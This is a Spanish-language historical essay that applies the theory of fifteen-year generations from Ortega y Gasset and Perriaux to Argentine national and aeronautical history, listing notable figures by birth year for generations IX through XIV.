Generaciones aeronáuticas

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Por profesor Alfio A. PUGLISI (*)

«Enséñanos a calcular nuestros años, para que nuestro corazón alcance la sabiduría» (Salmo 89)
«Per quindecim annos, grande mortalis aevi spatium» (Tácito)

Cada quince años se renueva el potencial humano de un país. Una generación asume el gobierno y otra, desplazada, abandona su sitio en la Historia. Según Ortega y Gasset[1], los hombres nacidos en un determinado lapso son “coetáneos” entre sí y poseen características comunes, una idea, una manera de abordar la vida, una “altitud vital” frente a ella.

El conjunto de quienes son coetáneos es llamado “generación”. El espacio temporal de cada una es igual a todas, quince años. Lo importante no es la cantidad de tiempo, el quantum temporal, sino el quale, es decir, lo que comparten: principios, ideas, estilos de vida. Cada generación posee una peculiar sensibilidad, una “intimidad colectiva” que el historiador debe desentrañar para comprender lo que investiga. En los primeros 15 años vive su niñez; desde los 15 hasta los 30, una etapa de preparación; desde los 30 hasta los 45, de iniciación; desde los 45 hasta los 60, de dominio, y, desde los 60 en adelante, su declinación.

La historia no es como la matemática, si dos personas tienen entre sí una diferencia de edad Mayor de 15 años, entonces no pertenecen a la misma generación; pero si la diferencia es menor, ello no asegura que adscriban a la misma generación. Los detallistas podrían dividir una generación en tres grupos de cinco años; curiosamente, es el lapso que emplean las escuelas militares para formar una promoción o camada.

Las generaciones no se suceden unas a otras, coexisten, se superponen. Son dos o tres de ellas las que, en un determinado momento, están en plena actuación histórica. En especial, los que conviven entre los 30 y los 60 años. Los “tardíos” se adscriben a la anterior y los “precoces” a la siguiente.

La entrada de una generación en la Historia se da a los 30 años y asume el número de ese año. Desde los 30 hasta los 45 años es una etapa de creación y polémica, en donde cada una de ellas intenta hacer triunfar sus ideas, deseos, creencias, en fin, su sello propio. Desde los 45 hasta los 60 años, es etapa de plena gestión y poder; viven el mundo que se han forjado; en cambio, los primeros, recién lo están labrando.

A partir de los 60, se produce la salida del escenario de la Historia. Muchos actores de nuestra Historia terminaron su época de dominio o gestión en esa edad. Rosas tenía 59 años en Caseros. Mitre terminó su dominio a los 59. El precoz Roca finalizó su segunda presidencia a los 61. Perón tenía 60, en 1955; y no sería el mismo al retornar en 1973. Lonardi asumió el poder, fue derrocado y murió a los 60. Eduardo Duhalde cumplió 60 años en 2001. Y Néstor Kirchner, otros tantos, al morir en 2010. Entre los griegos, se usaba beber cicuta a los 60; pero quedaba reservada otra misión para algunos: la magistratura, que equivalía al liderazgo ético. Asumía el papel de geron quien entre los ortodoxos iniciaba a los jóvenes, que no es otra cosa que el gurú hindú, o el jeque árabe.

Varios miembros de una generación pueden no compartir sus puntos de vista, aunque sus temas de fondo sean comunes. Tal el caso de Alberdi y Sarmiento o de Rosas y Lavalle, estos últimos hermanos de leche, que se combatieron mutuamente. Pero cuando se trata de miembros de distintas generaciones, que están en pleno período de gestión, la lucha por el poder puede ser Mayor y cobrar un carácter sangriento. La generación XI termina su ciclo en 1970, justo con el secuestro y muerte del General Pedro E. Aramburu y la caída del gobierno de Juan C. Onganía.

La Teoría de las Generaciones es una de las perspectivas con que pueden encararse los aspectos sociales de una época. Ninguna otra puede mostrar la peculiar manera de estar en el mundo de un determinado grupo humano, quiénes son sus integrantes, qué los movía, cuáles eran los límites de su actuación y su confrontación con otros grupos generacionales.

Los tres creadores de la Teoría de las Generaciones –José Ortega y Gasset, Julián Marías[2] que la sistematizó y Jaime Perriaux[3] que la aplicó a la Argentina–, creyeron que por ella se podría mejorar la comprensión de los hechos históricos. Y no hay duda de que deja entender horizontalmente la Historia, tal como la Genealogía y la Teoría de los Ciclos permiten una interpretación vertical de ella.

Más allá de la mera casualidad y más acá de cualquier causalidad, está la “sincronicidad”, a entender con ligero margen. Buscamos describir y comprender, nunca explicar. Detalles casi imperceptibles para muchos, que actúan como signos de los tiempos, cierran una época e inauguran otra marcando los límites entre generaciones y ciclos. A veces, son encarnados por una misma persona. La Historia Aeronáutica, por ser una historia acotada, permite ser enfocada desde la perspectiva generacional.

Adoptamos las generaciones propuestas, en 1969, por Jaime Perriaux, según la fecha de nacimiento. Eran once; agregué las tres últimas, por lo que la serie llega hasta 2015. Perriaux parte de la Revolución de Mayo, donde se enfrentan Saavedra (n1761) y Moreno (n1778), que son de distintas generaciones. Calculó 15 y 30 años para atrás y entre 1753-67 encuadra como hecho notable la expulsión de los portugueses de la Banda Oriental y el rechazo al ataque inglés sobre Colonia, por don Pedro de Cevallos. Ellas son:

[1] José. Ortega y Gasset. En torno a Galileo, Madrid, Espasa Calpe, v/e. El tema de nuestro tiempo, Madrid, Espasa Calpe v/e.

[2] Marías, Julián. “El método histórico de las generaciones”, Revista de Occidente, Madrid, 1949.

[3] Perriaux, Jaime. Las generaciones argentinas, Buenos Aires, Eudeba, 1970.

  • Generación I (1753-1767) Reinado efectivo:        1805-1820
  • Generación II (1768-1782) Reinado efectivo:      1820-1835
  • Generación III (1783-1797) Reinado efectivo:     1835-1850
  • Generación IV (1798-1812) Reinado efectivo:      1850-1865
  • Generación V (1813-1827) Reinado efectivo:        1865-1880
  • Generación VI (1828-1842)  Reinado efectivo:     1880-1895
  • Generación VII (1843-1857) Reinado efectivo:     1895-1910
  • Generación VIII (1858-1872) Reinado efectivo:    1910-1925
  • Generación IX (1873-1887) Reinado efectivo:        1925-1940
  • Generación X (1888-1902) Reinado efectivo:         1940-1955
  • Generación XI (1903-1917) Reinado efectivo:         1955-1970
  • Generación XII (1918-1932) Reinado efectivo:       1970-1985
  • Generación XIII (1933-1947) Reinado efectivo:      1985-2000
  • Generación XIV (1948-1962) Reinado efectivo:      2000-2015

De este modo, los años de corte generacional son: 1805, la Reconquista; 1820, la Anarquía; 1835, cuando comienza el poder de Rosas; 1850, el de Urquiza; el de Justo, hacia 1925; el de Perón, alrededor de 1940; y el de Aramburu, en 1955. Roca asume precozmente la presidencia en el quiebre de 1880, pero su segundo mandato se inaugura justo cuando comienza el reinado que le correspondía generacionalmente, en 1895. Los primeros son quiebres “cruciales”, pues el modelo cambia por revuelta social o recurriendo a las armas; hay otros cortes de épocas “normales”, donde la sucesión no es traumática (por ejemplo, entre la generación del 80 y la del 95). Las tres últimas generaciones, agregadas por mí, ofrecen una sorpresa casi profética que confirma la bondad de lo pensado por Jaime Perriaux: en el 2000, el modelo político estaba agotado; un año después, sobrevino una de las Mayores crisis socioeconómicas de la historia argentina, superior aún a las de 1890 y 1930. El tiempo juzgará mejor y dirá qué deparará el 2015.

Me asomé a este tema hace años, cuando descubrí el gran siglo sacro, “tiempo eje” o “axial”, en el que fueron casi coetáneos nada menos que Buda en la India; Confucio, Lao-Tsé y Mo-Ti en China; Zoroastro, en Persia; los profetas judíos Elías, Isaías y Jeremías hasta el Deuteroisaías; y en Grecia, Homero y los presocráticos Thales, fundador de la filosofía, y Solón, de la política. De esa época también data Manú, el gran legislador oriental, de origen hindú; y su símil de occidente, de origen latino, Numa (medítese acerca de las sílabas de estos nombres, que no es casualidad).

Vamos a detallar a continuación, la sucesión de generaciones aeronáuticas y, para ello, usaremos los mismos parámetros utilizados por Jaime Perriaux, caracterizando primero su período, sus desafíos, sus logros y después sus hombres. Demás está decir que introduciremos personas de origen civil, militar, naval y de la Fuerza Aérea actual, nacida en la década de los cuarenta, y que no faltarán algunas mujeres. Entre paréntesis figurará el año de nacimiento. Los notables extranjeros aparecerán con itálica.

El punto de partida de este trabajo será la generación IX (1873-1887) cuyo reinado efectivo se da entre 1925 y 1940. Antes de ella, sólo existen personajes ocasionales. Si la práctica de la aeronáutica nació un poco antes del Centenario, ¿esta generación no es algo tardía? En verdad, se trata de gente precoz, que muy joven se dedicó a volar, como aventura y como deporte; muchos de ellos cayeron antes de alcanzar la madurez generacional y el ejercicio de la función pública. Perdón por posibles omisiones.

GENERACIÓN IX (1873-1887). REINADO EFECTIVO: 1925-1940 Esta generación posee importantes personalidades en la política y la literatura. Aparecen con precocidad los pioneros y fundadores de la aeronáutica nacional. Se crea la Escuela de Aviación Militar en 1912. A partir de la crisis del 30, el país se descoloca del concierto internacional. Se encara una reacción espiritualista frente al positivismo. Se realizan grandes obras públicas. Se desarrolla el nacionalismo y aparece la injerencia militar en la política. El gaucho comienza a cambiar la bombacha por el mameluco industrial. Nace un largo proceso de institucionalización de lo aeronáutico donde el aventurero y el deportista van dejando paso al especialista con escalafón propio. La Armada explora la Antártida. Esfuerzos privados llevan la aviación a la Patagonia.

Anteriores notables

Miguel Colombise (?), Andrés Tejada (?), Roberto A. Chodasiewicz (1832), José Silimbani (?), Capitán de Fragata Pedro L. Padilla (1869) y Mayor Arturo P. Luisoni (1871).

A nivel nacional

Ramón S. Castillo, Julio A. Roca (h), Enrique Romero Brest y Teobaldo Ricaldoni (1873); Macedonio Fernández y Leopoldo Lugones (1874); Enrique Larreta, Florencio Sánchez y Carlos O. Bunge (1875); Honorio Pueyrredón, doctor Pedro de Elizalde y Segundo R. Storni (1876); Carlos Ibarguren, José Ingenieros, Juan F. Cafferata, General de División Enrique Mosconi y monseñor Miguel De Andrea (1877);

Robustiano Patrón Costas, Carlos Saavedra Lamas, Horacio Quiroga y Octavio Amadeo (1878); Juan J. De Soiza Reilly (1879); Alfredo Palacios, Marcelo Sánchez Sorondo, doctor Pedro Chutro, José M. Sobral, General de Brigada Manuel A. Rodríguez y monseñor Santiago L. Copello (1880); Contralmirante Eleazar Videla (1881); Mario Bravo, Ricardo Rojas, Manuel Gálvez, doctor Ángel Roffo y Fernando Fader (1882);

Evaristo Carriego y Hugo Wast (1883); Felipe Boero y General de División Pedro P. Ramírez (1884); Benito Lynch, General de División Carlos D. Márquez y General de Brigada Franklin A. Rawson (1885); Roberto F. Ortiz, José P. Tamborini, General de División Benjamín Menéndez, Coriolano Alberini, Ricardo Güiraldes, Baldomero Fernández Moreno, doctor Salvador Mazza y Ceferino Namuncurá (1886); General de División Edelmiro J. Farrell, reverendo padre Rodolfo Ragucci sacerdote de Don Bosco, Xul Solar y doctor Bernardo Houssay (1887).

Aeronáuticos

Jorge Newbery, Antonio De Marchi, Teniente de Navío Melchor Escola (1875); Florencio Parravicini y Agustín P. Justo (1876); Aarón Anchorena, General de Brigada Alejandro P. Obligado y cirujano de Brigada Agesilao Milano (1877); Alberto R. Mascías y Eduardo Newbery (1878); Horacio Anasagasti (1879); Pablo Castaibert, Teniente de Navío Raúl R. Moreno y Alfredo L. Palacios (1880); Joaquín Oytaben y Emilio Aubrun (1881); Ricardo Ponzelli, Teniente General Juan Pistarini, Mayor ingeniero Francisco de Arteaga y Vicente Almandos Almonacid (1882); Pierre George Latécoère y Antonieta Cimolini de Silimbani (1883); Brigadier General Ángel M. Zuloaga, Bartolomé Cattaneo y Capitán de Fragata Ricardo Fitz Simon (1885); comandante Raúl Eugenio Goubat, Gunther Plüschow y Germán Máximo von Fremery (1886); Eduardo Bradley, Capitán de Fragata Hugo Walkendorf, Teniente primero Alfredo S. Agneta y Silvio Pettirossi (1887).

GENERACIÓN X (1888-1902). REINADO EFECTIVO: 1940-1955
Esta generación encausa la cuestión social, propicia la neutralidad internacional y vive el nacimiento del Justicialismo, estatiza empresas y comienza la industrialización, pero también cierto estancamiento económico. Alemania, Francia e Inglaterra, con grandes inversiones en el país, son superadas por los EE.UU. que presiona política y económicamente. Algunos, siendo jóvenes, realizan la Reforma Universitaria mientras otros crean los Cursos de Cultura Católica. En este periodo surgen destacados creadores: en literatura la generación de Martín Fierro y los grupos de Boedo y Florida. La aviación deja de estar en las páginas deportivas de los diarios y pasa a “Fuerzas Armadas”. La Marina de Guerra adquiere sus últimos grandes cruceros e intensifica el accionar en la Antártida. Nace la Fuerza Aérea como institución, llegan los Avro Lincoln y los Gloster Meteor. Se desarrollan el DL-22, los Pulqui I y II, y el Calquín.

A nivel nacional

Natalio F. Botana, General de Brigada José M. Sarobe (1888); Miguel A. Cárcano, Arturo Capdevila, Benjamín Solari Parravicini, sacerdote jesuita Guillermo Furlong, y monseñor Antonio Caggiano (1889); Alejandro Bustillo, Benito Quinquela Martín, Carlos Gardel y Teniente General Carlos M. von der Becke (1890); Deodoro Roca, Francisco Romero, Oliverio Girondo y Enrique T. Susini (1891); General de División Manuel Savio, Amadeo Sabatini, Emilio Pettoruti y Torcuato Di Tella (1892); doctor Juan P. Garraham y Alejandro E. Shaw (1893); Carlos Astrada, Emilio Centurión y Aquiles Badi (1894); Teniente General Juan D. Perón, Atilio Dell´Oro Maini, Oscar Ivanissevich, Agostino Rocca, Federico Pinedo, Ezequiel Martínez Estrada y Tomás D. Casares (1895); Julio A. Noble, Juan Mantovani, José Fioravanti, Lino E. Spilimbergo y Teniente General Eduardo Lonardi (1896); General de División Franklin Lucero (1897); Gabriel del Mazo, Teniente General Benjamín Rattenbach, Coronel Domingo A. Mercante, Raúl Scalabrini Ortiz, Conrado Nalé Roxlo y Enrico Rocca (1898); Jorge L. Borges, Leonardo Castellani, José Irazusta y Ladislao Biro (1899); Arturo U. Illia, Enrique Gaviola, Ernesto Palacio, Francisco L. Bernárdez, Leopoldo Marechal, Roberto Arlt, Mario Soffici y Enrique Gaviola (1900); Raúl Prebisch, Vicente Solano Lima, Armando Discépolo, Carlos Mastronardi y Arturo Jauretche (1901); Gerónimo Remorino, Crisólogo Larralde, Ángel Vasallo, Ángel J. Battistessa, Liborio Justo, Luis C. Amadori, y Tenientes Generales Arturo Ossorio Arana y Carlos Severo Toranzo Montero (1902).

Aeronáuticos

Henri Brégi, Enriqueta Fruchard de Jarfelt, Manuel González y Walter Georgii (1888); Raúl Pateras de Pescara, Brigadier General Antonio Parodi, Comodoro Pedro Zanni, ingeniero Hugo N. Pantolini, Capitán de Fragata Ceferino Pouchan y Francesco de Pinedo (1890); Tenientes Benjamín Matienzo y Manuel Félix Origone, viceAlmirante Marcos A. Zar y Teodoro Fels (1891); Capitán Luis C. Candelaria y Emile Dewoitine (1892); Ambrosio L. V. Taravella y Capitán de Fragata médico psiquiatra Julio Vicente D´Oliveira Esteves (1893); Carlos Borcosque y Brigadier General Bartolomé de la Colina (1894); Guillermo Hillcoat, Amalia Figueredo y Rufino Luro Cambaceres (1895); Eduardo Olivero, Adrienne Bolland y Ramón Franco (1896); Contralmirante Gregorio Portillo, Comodoro Agustín de la Vega, Leonardo Selvetti y Paul Vachet (1897); Kurt W. Tank (1898); Carola Lorenzini (1899); suboficial Mayor José Honorio Rodríguez, Bernardo Enrique Duggan Lisieux y Antoine M. Saint-Exupéri (1900); Brigadier Mayor Juan L. Garramendy, Brigadier Claudio M. Mejía, Teniente Coronel Justo J. Ossorio Arana, Jean Mermoz y Gustavo N. Costabel (1901); Finlandia E. Pizzul y Henri Guillaumet (1902).

GENERACIÓN XI (1903-1917). REINADO EFECTIVO:
1955-1970 Durante este periodo sectores de las fuerzas armadas colisionaron entre sí; se continuó la industrialización y la inestabilidad económica con pequeños y frustrados ensayos, ora liberales, ora desarrollistas. El mameluco del obrero comienza a ser desplazado por el cuello blanco de la empresa de servicios. Esta generación elevó territorios nacionales a categoría de provincias, generó la industria automotriz, consolidó la aeronáutica, mecanizó el campo, integró la Mesopotamia al litoral con puentes y el túnel subfluvial, concluyó El Chocón, multiplicó universidades y restauró la Constitución del 53, incluyendo derechos laborales y previsionales. Observó los primeros satélites artificiales. La Armada adquirió su primer portaaviones y se hizo cargo de la investigación nuclear. La Fuerza Aérea comenzó a proyectarse sobre la Antártida. Llegaron los Sabre y los Canberra y se montaron los Morane Saulnier MS.760 París.

A nivel nacional

Teniente General Pedro E. Aramburu, Silvestre Begnis, Atilio Bramuglia, Vicente Fatone y Eduardo Mallea (1903); Ricardo Balbín, General de División Hernán Pujato y Florencio Escardó (1904); Miguel A. Zavala Ortiz, Homero Manzi, Raúl Soldi y Antonio Berni (1905); Luis F. Leloir, Ramón Carrillo, Cipriano Reyes y Almirante Isaac F. Rojas (1906); Ulises Petit de Murat, Enrique Pichón Rivière y monseñor Octavio Derisi (1907); Arturo Frondizi, Lucas Arrayagaray, Enrique Martínez Paz y Juan C. Castagnino (1908); Oscar Allende, Héctor J. Cámpora, Segundo Linares Quintana, monseñor Victorio Bonamín y Ronald Richter (1909); Alfredo Vítolo, Manuel Mujica Láinez, Enrique Anderson Imbert, Lucas Demare, monseñor Adolfo S. Tórtolo y General de Brigada Eduardo A. Señorans (1910); Mario Amadeo, Emilio J. Hardoy, José Batlle Planas, Ernesto Sábato, José Bianco, Juan M. Fangio y General de División Federico Toranzo Montero (1911); Vicente Forte (1912); Amancio Williams, Contralmirante Oscar A. Quihillalt, ingeniero Álvaro Alzogaray y Coronel Manuel R. Reimundes (1913); Teniente General Juan C. Onganía, General de Brigada Enrique Rauch, Rogelio Frigerio, arquitecto Mario R. Álvarez y Adolfo Bioy Casares (1914); Carlos Menditeguy, Helvio Botana, Carlos Perette, Raúl Matera, Raúl Ondarts, Teniente General Pascual A. Pistarini y General de División Osiris G. Villegas (1915); José López Rega, Julio Cortázar, Alberto Ginastera y Libero Badii (1916); José Ber Gelbard, Felipe Sapag y General de División Juan E. Guaglialmelli (1917).

Aeronáuticos

Brigadier Mayor ingeniero Juan Ignacio San Martín, Adela Guffanti, Próspero Palazzo y José Ignacio Izquierdo (1904); Myriam Stefford (1905); Brigadier Mayor Ricardo P. Olmedo, Brigadier Edmundo H. Civati Bernasconi y Capitán de Navío Salustiano Mediavilla (1906); Brigadier Mayor César R. Ojeda (1907); Brigadier General Heriberto J. Ahrens (1908); Brigadier General Juan F. Fabri e ingeniero Teófilo Tabanera (1909); Teniente de Fragata Eduardo R. Lanusse Sastre (1911); Hanna Reitsch, Heinz Scheidhauer, Adolf Galland y Capitán de Fragata Pedro E. Iraolagoitía (1912); Brigadier General Alfredo J. Vedoya y suboficial Vicente González (1913); Brigadier General Cayo Antonio Alsina, Brigadier Mayor Raúl O. Lacabanne, Brigadier Ramón A. Abrahin y Susana Ferrari Billinghurst (1914); Reimar Horten, Andrés Pedraza y Brigadier Jorge Rojas Silveyra (1915); Brigadier Mayor Anselmo D. Simois, Comodoros Aldo Zeoli y Julio César Krause, suboficial principal Vicente Bonvissuto, Werner Baumbach y Hans-Ulrich Rudel (1916); Brigadier Roberto Huerta y Comodoro Juan José Güiraldes (1917).

GENERACIÓN XII (1918-1932). REINADO EFECTIVO:
1970-1985 Esta generación logró cierta democratización del peronismo, pero enfrentó una fuerte inestabilidad económica, un conflicto interior de signo ideológico y otro exterior por la recuperación de las Islas Malvinas. Multiplicó las universidades, pero no pudo hacer una ley federal de educación. Llegó al Polo Sur. Desarrolló el ciclo nuclear completo y comenzó Yaciretá. El Ejército construyó tanques e intervino en petroquímica. La Armada botó destructores e intentó construir submarinos en el país. La Fuerza Aérea realizó el vuelo transpolar, encaró proyectos misilísticos y produjo el Pucará y el Pampa.

A nivel nacional

Enrique D. Sáenz Valiente, Tenientes Generales Alejandro A. Lanusse y Julio Alsogaray, y General de División Mario Aguilar Benítez (1918); Baldomero Fernández Moreno y monseñor Raúl Primatesta (1919); General de Brigada Roberto M. Levingston, Adalbert Krieger Vasena, Julio C. Cueto Rúa, Jorge Wehbe, Juan C. Ghiano, Jaime Perriaux, Fernando Ayala, y Monseñores Eduardo Pironio y Vicente Zazpe (1920); Eduardo Roca y Amalia Fortabat, General de División Alcides López Aufranc y General de Brigada Jorge E. Leal (1921); Roberto T. Alemán, Antonio Cafiero, Roberto Rocca, Carlos Muñiz, Nicanor Costa Méndez y Marcos Denevi (1922); Augusto T. Vandor, René Favaloro, Héctor A. Murena, Jacobo Timermann, Monseñores Enrique Angelelli, Jorge Mejía y Antonio Quarracino (1923); Juan Alemán, Leopoldo Torre Nilsson, José I. Rucci, Juan J. Taccone, Domingo Liotta, General de División Horacio T. Liendo y Gyula Kósice (1924); José A. Martínez de Hoz, Ernestina Herrera de Noble, General de División Ramón G. Díaz Bessone, Félix Luna, Bernardo Neustadt, Enrique Eskenazi, y Jorge R. Videla (1925); Dalmiro Sáenz, Landrú, Raúl Alfonsín, arquitecto César Pelli, Teniente General Leopoldo F. Galtieri y Almirante Jorge I. Anaya (1926); Mirta Legrand, César Milstein, Antonio Sajonia y Contralmirante Carlos Castro Madero (1927); Alfredo M. van Gelderen, Jorge L. Zanotti, Julio Mafud, Julio Le Parc, Lino Palacio, General de División Reynaldo B. Bignone, Ernesto “Che” Guevara y Contralmirante IM Carlos A. Büsser (1928); Julio Olivera, Federico Frischknecht, Torcuato S. Di Tella, David Viñas y Héctor Tizón (1929); Juan J. Sebrelli, Oscar Camilión, Agustín Tosco, Franco Macri y Carlos S. Menem (1930); Guido Di Tella, Héctor Olivera y Almirante Ramón A. Arosa (1931); Eduardo Eurnekián, Mariano Grondona y Héctor Ricardo García (1932).

Aeronáuticos

Brigadier General Carlos C. Armanini, Brigadieres Eduardo F. McLoughlin y Miguel Moragues, y Vicecomodoro Gustavo A. Marambio (1918); Brigadier General Adolfo Teodoro Álvarez, Teniente de Navío José Jubany, y Vicecomodoro Edmundo O. Weiss (1919); Brigadieres Arturo A. Cordón Aguirre y Arnaldo C. Tesselhoff, y Contralmirante Hermes Quijada (1920); Capitán de Navío Justiniano Martínez Achával (1921); Brigadier General Carlos A. Rey, Brigadier Carlos F. Bosch y María Adela Chase Dunlop (1922); Brigadier General Héctor L. Fautario, Brigadier Osvaldo A. Cacciatore y Orlando R. Agosti (1924); Brigadieres Mayores Orlando Jesús Cappellini y José María Klix, Brigadieres Miguel Sánchez Peña y Jorge L. Ballesteros, Vicecomodoros Connan Jorge Doyle y Rogelio M. Balado (1925); Brigadier General Omar D. Rubens Graffigna y Comodoro Santos A. Domínguez Koch (1926); Brigadier General Teodoro G. Waldner, Comodoros Antonio R. Mantel y Francisco Morey Terry, Luisa Quiroga y Miguel Fitzgerald (1927); Almirante Rafael J. Serra y Comodoro Francisco Pío Matassi (1928); Brigadieres Generales Basilio A. Lami Dozo y Horacio E. Crespo, Brigadier ingeniero Oscar J. Juliá y Vicecomodoro Mario L. Olezza (1929); Rolf Hossinger y Comodoro Luis A. Cueto (1930); Brigadier General Augusto J. Hughes, y Brigadier Héctor E. Ruiz (1931); Hilario Alcides Valinotti y Brigadier Rodolfo O. Echegoyen (1932).

GENERACIÓN XIII (1933-1947). REINADO EFECTIVO:
1985-2000 Parte de esta generación se enfrentó en un conflicto interno con la generación siguiente; otro sector de ella debió encarar luego un proceso de restauración democrática del país, vivió el síndrome de post-Malvinas y el achicamiento de las Fuerzas Armadas. Todos padecieron un intento neoliberal abrupto, la oscilación económica entre inflación y recesión, y la falta de crecimiento junto con el despegue de países vecinos; la consiguiente pobreza y el deterioro cultural y educativo. Esta generación eliminó vías férreas, privatizó empresas estatales de servicios públicos y luego volvió a reestatizar algunas de ellas. Se frustraron proyectos misilísticos y el desarrollo de submarinos nucleares que, sin embargo, lleva adelante Brasil. Aun así, logró terminar Yaciretá, reciclar el Puerto Madero y mejorar las telecomunicaciones. En el conflicto de Malvinas aparecen nuevos héroes militares.

A nivel nacional

José M. Dagnino Pastore, Hermenegildo Sabat, doctor Alberto Cormillot, Juan C. Portantiero, Coronel Mohamed A. Seineldín, Contralmirante IM Carlos H. Robacio y Capitán de Navío Néstor A. Domínguez (1933); Abel Posse, Tomás Eloy Martínez, Gregorio Pérez Companc y Teniente General Martín A. Balza (1934); Avelino J. Porto, Enrique S. Petracchi, Ernesto Laclau y Marcos Aguinis (1935); Roberto M. Santucho, Ricardo Monner Sans y Papa Francisco (1936); José C. Escribano, Natalio R. Botana, Juan José Saer, Francisco Delich y Fernando de la Rúa (1937); Almirantes Carlos A. Marrón y Enrique Molina Pico, Esteban Righi (1938); Miguel A. De Marco y Rogelio Polesello (1939); José C. Escribano, Enrique Olivera, Carlos Heller, Juan V. Sourrouille y arquitecto Santiago Sánchez Elía (1940); Enrique Pescarmona, Ricardo Piglia, Luis Osejevich, Roberto C. Perdía, Guillermo A. Calvo y Eduardo A. Duhalde (1941); Miguel A. Broda, Roberto Lavagna, Carlos Reutemann, José H. Jaunarena, Enrique Gorriarán Merlo, Horacio Verbitsky, León C. Arslanián y Almirante Joaquín E. Stella (1942); Rodolfo Terragno, Dante Caputo, Teniente Coronel Aldo Rico, Hermes Binner y Osvaldo Soriano (1943); Hugo Moyano, José M Vernet, Hugo Biolcati, Héctor Magnetto y R. Fontanarrosa (1944); Nilda Garré y Teniente General Roberto F. Bendini (1945); Domingo Cavallo, José L. Machinea, Almirante Jorge Godoy, Eduardo Constantini, Jorge Asís y Luis Puenzo (1946); Capitán de Fragata Pedro Giachino, Ángel P. Tello, Adolfo Rodríguez Saa y Alberto Balestrini (1947).

Aeronáuticos

Contralmirante Julio M. Pérez y Comodoro Rubén O. Moro (1936); Augusto Ulderico Cicaré (1937), Brigadier Ezequiel Martínez, Comodoro Rodolfo M. de la Colina y Capitán de Navío Alberto J. Phillippi (1939); Comodoro Hugo C. Meisner (1940); Conrado Varotto (1941); Comodoro Oscar Luis Aranda Durañona, y Capitanes de Navío Rodolfo A. Castro Fox y Carlos A. Molteni (1942); Comodoro ingeniero Miguel V. Guerrero, y Capitanes de Navío Augusto C. Bedacarratz y Ernesto Proni Leston (1943); Vicecomodoros Juan J. R. Falconier y Horacio Ricciardelli (1944); Mayor Fernando J. Casado y suboficial Mayor Carlos O. Ortiz (1945); Brigadier General Jorge A. Chevalier, Comodoro Pablo M. Carballo, Mayores Hugo A. Palaver y Rubén H. Martel, y Capitán de Fragata Carlos M. Zubizarreta (1947).

GENERACIÓN XIV (1948- 1962). REINADO EFECTIVO:
2000-2015 Prospectiva: esta generación sentirá los efectos de la globalización y crisis económica con la correspondiente pobreza e inseguridad. Un cambio climático mundial que genera nuevas hipótesis de conflicto: defensa del acuífero y accionar ante los cataclismos naturales. Terrorismo en la frontera y narcotráfico. Fragmentación de partidos políticos. Consolidada la democracia, debe encarar el crecimiento institucional de la República. Mantiene un achicamiento de las FF.AA. y propende a un Mayor accionar conjunto. Conflicto irresuelto de Malvinas donde aparecen nuevos héroes. Probable presencia de uno o dos vectores nucleares extranjeros en el Atlántico Sur y explotación petrolífera en alta mar. Puede haber nuevo avance en el desarrollo aeroespacial y nuclear.

A nivel nacional

Mario Firmenich, Carlos A. “Chacho” Álvarez, Horacio Massaccesi, Nicolás Kasanzew y Mario Blejer (1948); Alicia Castro, Joaquín Morales Solá, Juan Schiaretti, José M. de la Sota, Alberto Rodríguez Saá, Juan J. B. Pampuro y Carlos Loiseau “Caloi” (1949); Roberto Elía, Néstor C. Kirchner, Enrique “Coti” Nosiglia y Felipe Solá (1950); Ricardo López Murphy (1951); Alfredo Prior, Paolo Rocca, Jorge Brito y Rosendo Fraga (h) (1952); Jorge Sarghini, Francisco de Narváez y Cristina Fernández de Kirchner (1953); Carlos A. Zannini y Teniente General César S. Milani (1954); Jorge A. Fontevecchia, Nelson Castro, Marcelo Parrilli, Julio Cobos, Roberto Cachanoski, Daniel Filmus y Ricardo Lorenzetti (1955); Carlos Mira, Patricia Bullrich y Alfredo de Angeli (1956); Daniel Scioli (1957); Aníbal Ibarra (58); Juan J. Campanella y Mauricio Macri (1959); Eduardo Buzzi, Jorge Lanata, Marcelo Tinelli, Martín Varsasky y Nito Artaza (1960); Martín Redrado, Guillermo Kuitca y Luis Majul (1961); Guillermo Martínez (1962).

GENERACIÓN CUYO PROTAGONISMO RECIÉN COMIENZA:
Sergio Bergman y Amado Boudou (1963); Pablo Bruera, Gabriel Mariotto y Jorge M. Capitanich (1964); Sebastián Eskenazi, Alfonso Prat Gay y Horacio Rodríguez Larreta (1965); Juan M. Urtubey y Esteban Bullrich (1969); Adrián Pérez y Axel Kicillof (1971); Sergio Massa (1972).

Aeronáuticos

Vicealmirante Benito Rótolo, Capitanes Luis D. Castagnari y Daniel F. Manzotti (1949); Brigadier Ernesto R. Ureta (1950); Teniente de Navío Owen Crippa (1951); Capitanes Manuel O. Bustos, Fausto Gavazzi, y José A. Vásquez, Teniente de Fragata Carlos A. Benítez y Suboficial Mayor Pedro Miranda (1952); Primer Teniente Omar J. Castillo (1953); Capitán de Corbeta Armando Raúl Mayora, Teniente de Navío Marcelo Márquez, Capitán José L. Ardiles y Primer Teniente Pedro I. Bean (1954); Comodoro Gabriel T. Pavlovcic, Capitán Danilo R. Bolzán, y Primeros Tenientes Juan D. Bernhardt, Jorge E. Casco y Daniel A. Jukic (1955); Primer Teniente Jorge A. Bono y Enrique Piñeyro (1956); Teniente de Fragata Daniel E. Miguel y Primer Teniente Juan J. Arrarás (1957); Comodoro Gerardo G. Isaac (1958); Julio C. Benvenuto (1961); y Primer Teniente Débora P. Pontecorvo (1981).

ALGUNAS OBSERVACIONES:
a) No es mera casualidad que Jorge Newbery encabece la lista.
b) Entre 1910 y 1915/16 aparecen dos corrientes fundacionales distintas pero simétricas:

1)   La Escuela de El Palomar, integrada por los oficiales Melchor Z. Escola, Raúl E. Goubat, Aníbal Brihuega y Pedro L. Zanni, entre otros.

2)   La Escuela de Berisso y Fuerte Barragán, liderada por Joaquín Oytaben, José A. Penachi, Guillermo Covas, y los conscriptos Bernardo y Pedro Artigau, entre otros, donde inicialmente predomina Personal Subalterno, al que luego se suman oficiales de Marina. Dará origen a la Escuela de Aviación Naval.

c) Desde la fundación de la Escuela Militar de Aviación (1912) a la creación de la Dirección General de Aeronáutica del Ejército Argentino (1927) transcurre una generación. Muchos miembros de las dos primeras generaciones cayeron antes de alcanzar la madurez generacional y el ejercicio de la función pública. Sólo un puñado sobreviviente llegó a ella: Ángel M. Zuloaga, Antonio Parodi, Pedro Zanni y Marcos Zar; y en el ámbito privado Eduardo Bradley (Panagra), entre otros.

